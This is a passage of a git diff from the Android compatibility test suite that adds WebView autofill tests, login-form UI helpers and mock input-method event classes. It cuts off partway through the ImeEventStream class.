+ mWebView.setWebViewClient(new WebViewClient() {
+ // WebView does not set the WebDomain on file:// requests, so we need to use an https://
+ // request and intercept it to provide the real data.
+ @Override
+ public WebResourceResponse shouldInterceptRequest(WebView view,
+ WebResourceRequest request) {
+ final String url = request.getUrl().toString();
+ if (!url.equals(FAKE_URL)) {
+ Log.d(TAG, "Ignoring " + url);
+ return super.shouldInterceptRequest(view, request);
+ }
+
+ final String rawPath = request.getUrl().getPath().substring(1); // Remove leading /
+ Log.d(TAG, "Converting " + url + " to " + rawPath);
+ // NOTE: cannot use try() because it would close the stream before WebView uses it.
+ try {
+ return new WebResourceResponse("text/html", "utf-8", getAssets().open(rawPath));
+ } catch (IOException e) {
+ throw new IllegalArgumentException("Error opening " + rawPath, e);
+ }
+ }
+ });
+ mWebView.loadUrl(FAKE_URL);
+ }
+
+ public UiObject2 getUsernameLabel(UiBot uiBot) {
+ return getLabel(uiBot, "Username: ");
+ }
+
+ public UiObject2 getPasswordLabel(UiBot uiBot) {
+ return getLabel(uiBot, "Password: ");
+ }
+
+ public UiObject2 getUsernameInput(UiBot uiBot) {
+ return getInput(uiBot, "Username: ");
+ }
+
+ public UiObject2 getPasswordInput(UiBot uiBot) {
+ return getInput(uiBot, "Password: ");
+ }
+
+ public UiObject2 getLoginButton(UiBot uiBot) {
+ return getLabel(uiBot, "Login");
+ }
+
+ private UiObject2 getLabel(UiBot uiBot, String label) {
+ try {
+ return uiBot.assertShownByContentDescription(label);
+ } catch (Throwable t) {
+ return uiBot.assertShownByText(label);
+ }
+ }
+
+ private UiObject2 getInput(UiBot uiBot, String contentDescription) {
+ // First get the label..
+ final UiObject2 label = getLabel(uiBot, contentDescription);
+
+ // Then the input is next.
+ final UiObject2 parent = label.getParent();
+ UiObject2 previous = null;
+ for (UiObject2 child : parent.getChildren()) {
+ if (label.equals(previous)) {
+ if (child.getClassName().equals(EditText.class.getName())) {
+ return child;
+ }
+ throw new IllegalStateException("Invalid class for " + child);
+ }
+ previous = child;
+ }
+ throw new IllegalStateException("could not find username (label=" + label + ")");
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
new file mode 100644
index 0000000..cf2ecfc
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/WebViewActivityTest.java
@@ -0,0 +1,299 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.runShellCommand;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.assist.AssistStructure.ViewNode;
+import android.autofillservice.cts.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
+import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
+import android.view.ViewStructure.HtmlInfo;
+
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.Test;
+
+public class WebViewActivityTest extends AutoFillServiceTestCase {
+
+ private static final String TAG = "WebViewActivityTest";
+
+ // TODO(b/64951517): WebView currently does not trigger the autofill callbacks when values are
+ // set using accessibility.
+ private static final boolean INJECT_EVENTS = true;
+
+ @Rule
+ public final AutofillActivityTestRule<WebViewActivity> mActivityRule =
+ new AutofillActivityTestRule<WebViewActivity>(WebViewActivity.class) {
+ // TODO(b/111838239): latest WebView implementation calls AutofillManager.isEnabled() to
+ // disable autofill for optimization when it returns false, and unfortunately the value
+ // returned by that method does not change when the service is enabled / disabled, so we
+ // need to start enable the service before launching the activity.
+ // Once that's fixed, remove this overridden method.
+ @Override
+ protected void beforeActivityLaunched() {
+ super.beforeActivityLaunched();
+ Log.i(TAG, "Setting service before launching the activity");
+ enableService();
+ }
+ };
+
+ private WebViewActivity mActivity;
+
+ @Before
+ public void setActivity() {
+ mActivity = mActivityRule.getActivity();
+ assertAutofillEnabledOnWebView();
+ }
+
+ @BeforeClass
+ public static void setReplierMode() {
+ sReplier.setIdMode(IdMode.HTML_NAME);
+ }
+
+ @AfterClass
+ public static void resetReplierMode() {
+ sReplier.setIdMode(IdMode.RESOURCE_ID);
+ }
+
+ @Test
+ public void testAutofillNoDatasets() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(CannedFillResponse.NO_RESPONSE);
+
+ // Trigger autofill.
+ mActivity.getUsernameInput(sUiBot).click();
+ sReplier.getNextFillRequest();
+
+ // Assert not shown.
+ sUiBot.assertNoDatasets();
+ }
+
+ @Test
+ public void testAutofillOneDataset() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ mActivity.mWebView.expectAutofill("dude", "sweet");
+ final MyAutofillCallback callback = mActivity.registerCallback();
+ sReplier.addResponse(new CannedDataset.Builder()
+ .setField("username", "dude")
+ .setField("password", "sweet")
+ .setPresentation(createPresentation("The Dude"))
+ .build());
+
+ // Trigger autofill.
+ mActivity.getUsernameInput(sUiBot).click();
+ final FillRequest fillRequest = sReplier.getNextFillRequest();
+ sUiBot.assertDatasets("The Dude");
+
+ // Change focus around.
+ final int usernameChildId = callback.assertUiShownEventForVirtualChild(mActivity.mWebView);
+ mActivity.getUsernameLabel(sUiBot).click();
+ callback.assertUiHiddenEvent(mActivity.mWebView, usernameChildId);
+ sUiBot.assertNoDatasets();
+ mActivity.getPasswordInput(sUiBot).click();
+ final int passwordChildId = callback.assertUiShownEventForVirtualChild(mActivity.mWebView);
+ final UiObject2 datasetPicker = sUiBot.assertDatasets("The Dude");
+
+ // Now Autofill it.
+ sUiBot.selectDataset(datasetPicker, "The Dude");
+ mActivity.mWebView.assertAutofilled();
+ sUiBot.assertNoDatasets();
+ callback.assertUiHiddenEvent(mActivity.mWebView, passwordChildId);
+
+ // Make sure screen was autofilled.
+ assertThat(mActivity.getUsernameInput(sUiBot).getText()).isEqualTo("dude");
+ // TODO: proper way to verify text (which is ..... because it's a password) - ideally it
+ // should call passwordInput.isPassword(), but that's not exposed
+ final String password = mActivity.getPasswordInput(sUiBot).getText();
+ assertThat(password).isNotEqualTo("sweet");
+ assertThat(password).hasLength(5);
+
+ // Assert structure passed to service.
+ try {
+ final ViewNode webViewNode = Helper.findWebViewNode(fillRequest.structure, "FORM AM I");
+ // TODO(b/66953802): class name should be android.webkit.WebView, and form name should
+ // be inside HtmlInfo, but Chromium 61 does not implement that.
+ if (webViewNode.getClassName().equals("android.webkit.WebView")) {
+ final HtmlInfo htmlInfo = Helper.assertHasHtmlTag(webViewNode, "form");
+ Helper.assertHasAttribute(htmlInfo, "name", "FORM AM I");
+ } else {
+ assertThat(webViewNode.getClassName()).isEqualTo("FORM AM I");
+ assertThat(webViewNode.getHtmlInfo()).isNull();
+ }
+ assertThat(webViewNode.getWebDomain()).isEqualTo(WebViewActivity.FAKE_DOMAIN);
+
+ final ViewNode usernameNode =
+ Helper.findNodeByHtmlName(fillRequest.structure, "username");
+ Helper.assertTextIsSanitized(usernameNode);
+ final HtmlInfo usernameHtmlInfo = Helper.assertHasHtmlTag(usernameNode, "input");
+ Helper.assertHasAttribute(usernameHtmlInfo, "type", "text");
+ Helper.assertHasAttribute(usernameHtmlInfo, "name", "username");
+ assertThat(usernameNode.isFocused()).isTrue();
+ assertThat(usernameNode.getAutofillHints()).asList().containsExactly("username");
+ assertThat(usernameNode.getHint()).isEqualTo("There's no place like a holder");
+
+ final ViewNode passwordNode =
+ Helper.findNodeByHtmlName(fillRequest.structure, "password");
+ Helper.assertTextIsSanitized(passwordNode);
+ final HtmlInfo passwordHtmlInfo = Helper.assertHasHtmlTag(passwordNode, "input");
+ Helper.assertHasAttribute(passwordHtmlInfo, "type", "password");
+ Helper.assertHasAttribute(passwordHtmlInfo, "name", "password");
+ assertThat(passwordNode.getAutofillHints()).asList()
+ .containsExactly("current-password");
+ assertThat(passwordNode.getHint()).isEqualTo("Holder it like it cannnot passer a word");
+ assertThat(passwordNode.isFocused()).isFalse();
+ } catch (RuntimeException | Error e) {
+ Helper.dumpStructure("failed on testAutofillOneDataset()", fillRequest.structure);
+ throw e;
+ }
+ }
+
+ @Test
+ public void testSaveOnly() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, "username", "password")
+ .build());
+
+ // Trigger autofill.
+ mActivity.getUsernameInput(sUiBot).click();
+ sReplier.getNextFillRequest();
+
+ // Assert not shown.
+ sUiBot.assertNoDatasets();
+
+ // Trigger save.
+ if (INJECT_EVENTS) {
+ mActivity.getUsernameInput(sUiBot).click();
+ runShellCommand("input keyevent KEYCODE_U");
+ mActivity.getPasswordInput(sUiBot).click();
+ runShellCommand("input keyevent KEYCODE_P");
+ } else {
+ mActivity.getUsernameInput(sUiBot).setText("DUDE");
+ mActivity.getPasswordInput(sUiBot).setText("SWEET");
+ }
+ mActivity.getLoginButton(sUiBot).click();
+
+ // Assert save UI shown.
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+ // Assert results
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ final ViewNode usernameNode = Helper.findNodeByHtmlName(saveRequest.structure, "username");
+ final ViewNode passwordNode = Helper.findNodeByHtmlName(saveRequest.structure, "password");
+ if (INJECT_EVENTS) {
+ Helper.assertTextAndValue(usernameNode, "u");
+ Helper.assertTextAndValue(passwordNode, "p");
+ } else {
+ Helper.assertTextAndValue(usernameNode, "DUDE");
+ Helper.assertTextAndValue(passwordNode, "SWEET");
+ }
+ }
+
+ @Test
+ public void testAutofillAndSave() throws Exception {
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ final MyAutofillCallback callback = mActivity.registerCallback();
+ mActivity.mWebView.expectAutofill("dude", "sweet");
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, "username", "password")
+ .addDataset(new CannedDataset.Builder()
+ .setField("username", "dude")
+ .setField("password", "sweet")
+ .setPresentation(createPresentation("The Dude"))
+ .build())
+ .build());
+
+ // Trigger autofill.
+ mActivity.getUsernameInput(sUiBot).click();
+ final FillRequest fillRequest = sReplier.getNextFillRequest();
+ sUiBot.assertDatasets("The Dude");
+ final int usernameChildId = callback.assertUiShownEventForVirtualChild(mActivity.mWebView);
+
+ // Assert structure passed to service.
+ final ViewNode usernameNode = Helper.findNodeByHtmlName(fillRequest.structure, "username");
+ Helper.assertTextIsSanitized(usernameNode);
+ assertThat(usernameNode.isFocused()).isTrue();
+ assertThat(usernameNode.getAutofillHints()).asList().containsExactly("username");
+ final ViewNode passwordNode = Helper.findNodeByHtmlName(fillRequest.structure, "password");
+ Helper.assertTextIsSanitized(passwordNode);
+ assertThat(passwordNode.getAutofillHints()).asList().containsExactly("current-password");
+ assertThat(passwordNode.isFocused()).isFalse();
+
+ // Autofill it.
+ sUiBot.selectDataset("The Dude");
+ mActivity.mWebView.assertAutofilled();
+ callback.assertUiHiddenEvent(mActivity.mWebView, usernameChildId);
+
+ // Make sure screen was autofilled.
+ assertThat(mActivity.getUsernameInput(sUiBot).getText()).isEqualTo("dude");
+ // TODO: proper way to verify text (which is ..... because it's a password) - ideally it
+ // should call passwordInput.isPassword(), but that's not exposed
+ final String password = mActivity.getPasswordInput(sUiBot).getText();
+ assertThat(password).isNotEqualTo("sweet");
+ assertThat(password).hasLength(5);
+
+ // Now trigger save.
+ if (INJECT_EVENTS) {
+ mActivity.getUsernameInput(sUiBot).click();
+ runShellCommand("input keyevent KEYCODE_U");
+ mActivity.getPasswordInput(sUiBot).click();
+ runShellCommand("input keyevent KEYCODE_P");
+ } else {
+ mActivity.getUsernameInput(sUiBot).setText("DUDE");
+ mActivity.getPasswordInput(sUiBot).setText("SWEET");
+ }
+ mActivity.getLoginButton(sUiBot).click();
+
+ // Assert save UI shown.
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+ // Assert results
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ final ViewNode usernameNode2 = Helper.findNodeByHtmlName(saveRequest.structure, "username");
+ final ViewNode passwordNode2 = Helper.findNodeByHtmlName(saveRequest.structure, "password");
+ if (INJECT_EVENTS) {
+ Helper.assertTextAndValue(usernameNode2, "dudeu");
+ Helper.assertTextAndValue(passwordNode2, "sweetp");
+ } else {
+ Helper.assertTextAndValue(usernameNode2, "DUDE");
+ Helper.assertTextAndValue(passwordNode2, "SWEET");
+ }
+ }
+
+ private void assertAutofillEnabledOnWebView() {
+ assertThat(mActivity.mWebView.isAutofillEnabled()).isTrue();
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/WelcomeActivity.java b/tests/autofillservice/src/android/autofillservice/cts/WelcomeActivity.java
index 637966d..5d3baca 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/WelcomeActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/WelcomeActivity.java
@@ -15,8 +15,12 @@
*/
package android.autofillservice.cts;
+import static com.google.common.truth.Truth.assertWithMessage;
+
import android.content.Intent;
import android.os.Bundle;
+import android.support.annotation.Nullable;
+import android.support.test.uiautomator.UiObject2;
import android.text.TextUtils;
import android.util.Log;
import android.widget.TextView;
@@ -31,6 +35,7 @@
private static final String TAG = "WelcomeActivity";
static final String EXTRA_MESSAGE = "message";
+ static final String ID_OUTPUT = "output";
private TextView mOutput;
@@ -62,4 +67,19 @@
sInstance.finish();
}
}
+
+ // TODO: reuse in other places
+ static void assertShowingDefaultMessage(UiBot uiBot) throws Exception {
+ assertShowing(uiBot, null);
+ }
+
+ // TODO: reuse in other places
+ static void assertShowing(UiBot uiBot, @Nullable String expectedMessage) throws Exception {
+ final UiObject2 activity = uiBot.assertShownByRelativeId(ID_OUTPUT);
+ if (expectedMessage == null) {
+ expectedMessage = "Welcome to the jungle!";
+ }
+ assertWithMessage("wrong text on '%s'", activity).that(activity.getText())
+ .isEqualTo(expectedMessage);
+ }
}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/ImeCommand.java b/tests/autofillservice/src/com/android/cts/mockime/ImeCommand.java
new file mode 100644
index 0000000..b5863d1
--- /dev/null
+++ b/tests/autofillservice/src/com/android/cts/mockime/ImeCommand.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.mockime;
+
+import android.os.Bundle;
+import android.support.annotation.NonNull;
+
+public final class ImeCommand {
+
+ private static final String NAME_KEY = "name";
+ private static final String ID_KEY = "id";
+ private static final String DISPATCH_TO_MAIN_THREAD_KEY = "dispatchToMainThread";
+ private static final String EXTRA_KEY = "extra";
+
+ @NonNull
+ private final String mName;
+ private final long mId;
+ private final boolean mDispatchToMainThread;
+ @NonNull
+ private final Bundle mExtras;
+
+ ImeCommand(@NonNull String name, long id, boolean dispatchToMainThread,
+ @NonNull Bundle extras) {
+ mName = name;
+ mId = id;
+ mDispatchToMainThread = dispatchToMainThread;
+ mExtras = extras;
+ }
+
+ private ImeCommand(@NonNull Bundle bundle) {
+ mName = bundle.getString(NAME_KEY);
+ mId = bundle.getLong(ID_KEY);
+ mDispatchToMainThread = bundle.getBoolean(DISPATCH_TO_MAIN_THREAD_KEY);
+ mExtras = bundle.getParcelable(EXTRA_KEY);
+ }
+
+ static ImeCommand fromBundle(@NonNull Bundle bundle) {
+ return new ImeCommand(bundle);
+ }
+
+ Bundle toBundle() {
+ final Bundle bundle = new Bundle();
+ bundle.putString(NAME_KEY, mName);
+ bundle.putLong(ID_KEY, mId);
+ bundle.putBoolean(DISPATCH_TO_MAIN_THREAD_KEY, mDispatchToMainThread);
+ bundle.putParcelable(EXTRA_KEY, mExtras);
+ return bundle;
+ }
+
+ @NonNull
+ public String getName() {
+ return mName;
+ }
+
+ public long getId() {
+ return mId;
+ }
+
+ public boolean shouldDispatchToMainThread() {
+ return mDispatchToMainThread;
+ }
+
+ @NonNull
+ public Bundle getExtras() {
+ return mExtras;
+ }
+}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/ImeEvent.java b/tests/autofillservice/src/com/android/cts/mockime/ImeEvent.java
new file mode 100644
index 0000000..ed6e6e8
--- /dev/null
+++ b/tests/autofillservice/src/com/android/cts/mockime/ImeEvent.java
@@ -0,0 +1,290 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.mockime;
+
+import android.inputmethodservice.AbstractInputMethodService;
+import android.os.Bundle;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+import android.view.View;
+
+/**
+ * An immutable object that stores event happened in the {@link MockIme}.
+ */
+public final class ImeEvent {
+
+ private enum ReturnType {
+ Null,
+ KnownUnsupportedType,
+ Boolean,
+ }
+
+ private static ReturnType getReturnTypeFromObject(@Nullable Object object) {
+ if (object == null) {
+ return ReturnType.Null;
+ }
+ if (object instanceof AbstractInputMethodService.AbstractInputMethodImpl) {
+ return ReturnType.KnownUnsupportedType;
+ }
+ if (object instanceof View) {
+ return ReturnType.KnownUnsupportedType;
+ }
+ if (object instanceof Boolean) {
+ return ReturnType.Boolean;
+ }
+ throw new UnsupportedOperationException("Unsupported return type=" + object);
+ }
+
+ ImeEvent(@NonNull String eventName, int nestLevel, @NonNull String threadName, int threadId,
+ boolean isMainThread, long enterTimestamp, long exitTimestamp, long enterWallTime,
+ long exitWallTime, @NonNull ImeState enterState, @Nullable ImeState exitState,
+ @NonNull Bundle arguments, @Nullable Object returnValue) {
+ this(eventName, nestLevel, threadName, threadId, isMainThread, enterTimestamp,
+ exitTimestamp, enterWallTime, exitWallTime, enterState, exitState, arguments,
+ returnValue, getReturnTypeFromObject(returnValue));
+ }
+
+ private ImeEvent(@NonNull String eventName, int nestLevel, @NonNull String threadName,
+ int threadId, boolean isMainThread, long enterTimestamp, long exitTimestamp,
+ long enterWallTime, long exitWallTime, @NonNull ImeState enterState,
+ @Nullable ImeState exitState, @NonNull Bundle arguments, @Nullable Object returnValue,
+ @NonNull ReturnType returnType) {
+ mEventName = eventName;
+ mNestLevel = nestLevel;
+ mThreadName = threadName;
+ mThreadId = threadId;
+ mIsMainThread = isMainThread;
+ mEnterTimestamp = enterTimestamp;
+ mExitTimestamp = exitTimestamp;
+ mEnterWallTime = enterWallTime;
+ mExitWallTime = exitWallTime;
+ mEnterState = enterState;
+ mExitState = exitState;
+ mArguments = arguments;
+ mReturnValue = returnValue;
+ mReturnType = returnType;
+ }
+
+ @NonNull
+ Bundle toBundle() {
+ final Bundle bundle = new Bundle();
+ bundle.putString("mEventName", mEventName);
+ bundle.putInt("mNestLevel", mNestLevel);
+ bundle.putString("mThreadName", mThreadName);
+ bundle.putInt("mThreadId", mThreadId);
+ bundle.putBoolean("mIsMainThread", mIsMainThread);
+ bundle.putLong("mEnterTimestamp", mEnterTimestamp);
+ bundle.putLong("mExitTimestamp", mExitTimestamp);
+ bundle.putLong("mEnterWallTime", mEnterWallTime);
+ bundle.putLong("mExitWallTime", mExitWallTime);
+ bundle.putBundle("mEnterState", mEnterState.toBundle());
+ bundle.putBundle("mExitState", mExitState != null ? mExitState.toBundle() : null);
+ bundle.putBundle("mArguments", mArguments);
+ bundle.putString("mReturnType", mReturnType.name());
+ switch (mReturnType) {
+ case Null:
+ case KnownUnsupportedType:
+ break;
+ case Boolean:
+ bundle.putBoolean("mReturnValue", getReturnBooleanValue());
+ break;
+ default:
+ throw new UnsupportedOperationException("Unsupported type=" + mReturnType);
+ }
+ return bundle;
+ }
+
+ @NonNull
+ static ImeEvent fromBundle(@NonNull Bundle bundle) {
+ final String eventName = bundle.getString("mEventName");
+ final int nestLevel = bundle.getInt("mNestLevel");
+ final String threadName = bundle.getString("mThreadName");
+ final int threadId = bundle.getInt("mThreadId");
+ final boolean isMainThread = bundle.getBoolean("mIsMainThread");
+ final long enterTimestamp = bundle.getLong("mEnterTimestamp");
+ final long exitTimestamp = bundle.getLong("mExitTimestamp");
+ final long enterWallTime = bundle.getLong("mEnterWallTime");
+ final long exitWallTime = bundle.getLong("mExitWallTime");
+ final ImeState enterState = ImeState.fromBundle(bundle.getBundle("mEnterState"));
+ final ImeState exitState = ImeState.fromBundle(bundle.getBundle("mExitState"));
+ final Bundle arguments = bundle.getBundle("mArguments");
+ final Object result;
+ final ReturnType returnType = ReturnType.valueOf(bundle.getString("mReturnType"));
+ switch (returnType) {
+ case Null:
+ case KnownUnsupportedType:
+ result = null;
+ break;
+ case Boolean:
+ result = bundle.getBoolean("mReturnValue");
+ break;
+ default:
+ throw new UnsupportedOperationException("Unsupported type=" + returnType);
+ }
+ return new ImeEvent(eventName, nestLevel, threadName,
+ threadId, isMainThread, enterTimestamp, exitTimestamp, enterWallTime, exitWallTime,
+ enterState, exitState, arguments, result, returnType);
+ }
+
+ /**
+ * Returns a string that represents the type of this event.
+ *
+ * <p>Examples: "onCreate", "onStartInput", ...</p>
+ *
+ * <p>TODO: Use enum type or something like that instead of raw String type.</p>
+ * @return A string that represents the type of this event.
+ */
+ @NonNull
+ public String getEventName() {
+ return mEventName;
+ }
+
+ /**
+ * Returns the nest level of this event.
+ *
+ * <p>For instance, when "showSoftInput" internally calls
+ * "onStartInputView", the event for "onStartInputView" has 1 level higher
+ * nest level than "showSoftInput".</p>
+ */
+ public int getNestLevel() {
+ return mNestLevel;
+ }
+
+ /**
+ * @return Name of the thread, where the event was consumed.
+ */
+ @NonNull
+ public String getThreadName() {
+ return mThreadName;
+ }
+
+ /**
+ * @return Thread ID (TID) of the thread, where the event was consumed.
+ */
+ public int getThreadId() {
+ return mThreadId;
+ }
+
+ /**
+ * @return {@code true} if the event was being consumed in the main thread.
+ */
+ public boolean isMainThread() {
+ return mIsMainThread;
+ }
+
+ /**
+ * @return Monotonic time measured by {@link android.os.SystemClock#elapsedRealtimeNanos()} when
+ * the corresponding event handler was called back.
+ */
+ public long getEnterTimestamp() {
+ return mEnterTimestamp;
+ }
+
+ /**
+ * @return Monotonic time measured by {@link android.os.SystemClock#elapsedRealtimeNanos()} when
+ * the corresponding event handler finished.
+ */
+ public long getExitTimestamp() {
+ return mExitTimestamp;
+ }
+
+ /**
+ * @return Wall-clock time measured by {@link System#currentTimeMillis()} when the corresponding
+ * event handler was called back.
+ */
+ public long getEnterWallTime() {
+ return mEnterWallTime;
+ }
+
+ /**
+ * @return Wall-clock time measured by {@link System#currentTimeMillis()} when the corresponding
+ * event handler finished.
+ */
+ public long getExitWallTime() {
+ return mExitWallTime;
+ }
+
+ /**
+ * @return IME state snapshot taken when the corresponding event handler was called back.
+ */
+ @NonNull
+ public ImeState getEnterState() {
+ return mEnterState;
+ }
+
+ /**
+ * @return IME state snapshot taken when the corresponding event handler finished.
+ */
+ @Nullable
+ public ImeState getExitState() {
+ return mExitState;
+ }
+
+ /**
+ * @return {@link Bundle} that stores parameters passed to the corresponding event handler.
+ */
+ @NonNull
+ public Bundle getArguments() {
+ return mArguments;
+ }
+
+ /**
+ * @return result value of this event.
+ * @throws NullPointerException if the return value is {@code null}
+ * @throws ClassCastException if the return value is non-{@code null} object that is different
+ * from {@link Boolean}
+ */
+ public boolean getReturnBooleanValue() {
+ if (mReturnType == ReturnType.Null) {
+ throw new NullPointerException();
+ }
+ if (mReturnType != ReturnType.Boolean) {
+ throw new ClassCastException();
+ }
+ return (Boolean) mReturnValue;
+ }
+
+ /**
+ * @return {@code true} if the event is issued when the event starts, not when the event
+ * finishes.
+ */
+ public boolean isEnterEvent() {
+ return mExitState == null;
+ }
+
+ @NonNull
+ private final String mEventName;
+ private final int mNestLevel;
+ @NonNull
+ private final String mThreadName;
+ private final int mThreadId;
+ private final boolean mIsMainThread;
+ private final long mEnterTimestamp;
+ private final long mExitTimestamp;
+ private final long mEnterWallTime;
+ private final long mExitWallTime;
+ @NonNull
+ private final ImeState mEnterState;
+ @Nullable
+ private final ImeState mExitState;
+ @NonNull
+ private final Bundle mArguments;
+ @Nullable
+ private final Object mReturnValue;
+ @NonNull
+ private final ReturnType mReturnType;
+}
diff --git a/tests/autofillservice/src/com/android/cts/mockime/ImeEventStream.java b/tests/autofillservice/src/com/android/cts/mockime/ImeEventStream.java
new file mode 100644
index 0000000..23eb477
--- /dev/null
+++ b/tests/autofillservice/src/com/android/cts/mockime/ImeEventStream.java
@@ -0,0 +1,251 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.mockime;
+
+import android.os.Bundle;
+import android.support.annotation.IntRange;
+import android.support.annotation.NonNull;
+import android.view.inputmethod.EditorInfo;
+
+import java.time.Instant;
+import java.time.ZoneId;
+import java.time.format.DateTimeFormatter;
+import java.util.Arrays;
+import java.util.Optional;
+import java.util.function.Predicate;
+import java.util.function.Supplier;
+
+/**
+ * A utility class that provides basic query operations and wait primitives for a series of
+ * {@link ImeEvent} sent from the {@link MockIme}.
+ *
+ * <p>All public methods are not thread-safe.</p>
+ */
+public final class ImeEventStream {
+
+ private static final String LONG_LONG_SPACES = " ";
+
+ private static DateTimeFormatter sSimpleDateTimeFormatter =
+ DateTimeFormatter.ofPattern("MM-dd HH:mm:ss.SSS").withZone(ZoneId.systemDefault());
+
+ @NonNull
+ private final Supplier<ImeEventArray> mEventSupplier;
+ private int mCurrentPosition;
+
+ ImeEventStream(@NonNull Supplier<ImeEventArray> supplier) {
+ this(supplier, 0 /* position */);
+ }
+
+ private ImeEventStream(@NonNull Supplier<ImeEventArray> supplier, int position) {
+ mEventSupplier = supplier;
+ mCurrentPosition = position;
+ }
+
+ /**
+ * Create a copy that starts from the same event position of this stream. Once a copy is created
+ * further event position change on this stream will not affect the copy.
+ *
+ * @return A new copy of this stream
+ */
+ public ImeEventStream copy() {
+ return new ImeEventStream(mEventSupplier, mCurrentPosition);
+ }
+
+ /**
+ * Advances the current event position by skipping events.
+ *
+ * @param length number of events to be skipped
+ * @throws IllegalArgumentException {@code length} is negative
+ */
+ public void skip(@IntRange(from = 0) int length) {
+ if (length < 0) {
+ throw new IllegalArgumentException("length cannot be negative: " + length);
+ }
+ mCurrentPosition += length;
+ }
+
+ /**
+ * Advances the current event position to the next to the last position.
+ */
+ public void skipAll() {
+ mCurrentPosition = mEventSupplier.get().mLength;
+ }
+
+ /**
+ * Find the first event that matches the given condition from the current position.
+ *
+ * <p>If there is such an event, this method returns such an event without moving the current
+ * event position.</p>
+ *
+ * <p>If there is such an event, this method returns {@link Optional#empty()} without moving the
+ * current event position.</p>
+ *
+ * @param condition the event condition to be matched
+ * @return {@link Optional#empty()} if there is no such an event. Otherwise the matched event is
+ * returned
+ */
+ @NonNull
+ public Optional<ImeEvent> findFirst(Predicate<ImeEvent> condition) {
+ final ImeEventArray latest = mEventSupplier.get();
+ int index = mCurrentPosition;
+ while (true) {
+ if (index >= latest.mLength) {
+ return Optional.empty();
+ }
+ if (condition.test(latest.mArray[index])) {
+ return Optional.of(latest.mArray[index]);
+ }
+ ++index;
+ }
+ }
+
+ /**
+ * Find the first event that matches the given condition from the current position.
+ *
+ * <p>If there is such an event, this method returns such an event and set the current event
+ * position to that event.</p>
+ *
+ * <p>If there is such an event, this method returns {@link Optional#empty()} without moving the
+ * current event position.</p>
+ *
+ * @param condition the event condition to be matched
+ * @return {@link Optional#empty()} if there is no such an event. Otherwise the matched event is
+ * returned
+ */
+ @NonNull
+ public Optional<ImeEvent> seekToFirst(Predicate<ImeEvent> condition) {
+ final ImeEventArray latest = mEventSupplier.get();
+ while (true) {
+ if (mCurrentPosition >= latest.mLength) {
+ return Optional.empty();
+ }
+ if (condition.test(latest.mArray[mCurrentPosition])) {
+ return Optional.of(latest.mArray[mCurrentPosition]);
+ }
+ ++mCurrentPosition;
+ }
+ }
+
+ private static void dumpEvent(@NonNull StringBuilder sb, @NonNull ImeEvent event,
+ boolean fused) {
